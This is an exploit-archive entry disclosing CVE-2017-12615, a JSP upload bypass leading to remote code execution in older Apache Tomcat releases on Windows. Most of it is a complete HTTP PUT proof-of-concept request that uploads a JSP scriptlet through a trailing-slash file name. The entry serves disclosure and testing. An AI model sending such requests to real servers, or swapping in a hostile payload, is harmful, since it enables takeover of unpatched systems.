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Apache Tomcat JSP Upload Bypass / Remote Code Execution

Apache Tomcat JSP Upload Bypass / Remote Code Execution
Posted Oct 4, 2017
Authored by xxlegend

Apache Tomcat versions prior to 9.0.1 (Beta), 8.5.23, 8.0.47, and 7.0.8 suffer from a jsp upload bypass vulnerability that allows for remote code execution.

tags | exploit, remote, code execution, bypass
advisories | CVE-2017-12615
SHA-256 | 7ffd01777edabd0ba5fd2741571567ed01b09949bb47a6972df8972e43c81251

Apache Tomcat JSP Upload Bypass / Remote Code Execution

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When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.

The PoC is like this:

PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26

<% out.println("hello");%>

It is the bypass for CVE-2017-12615

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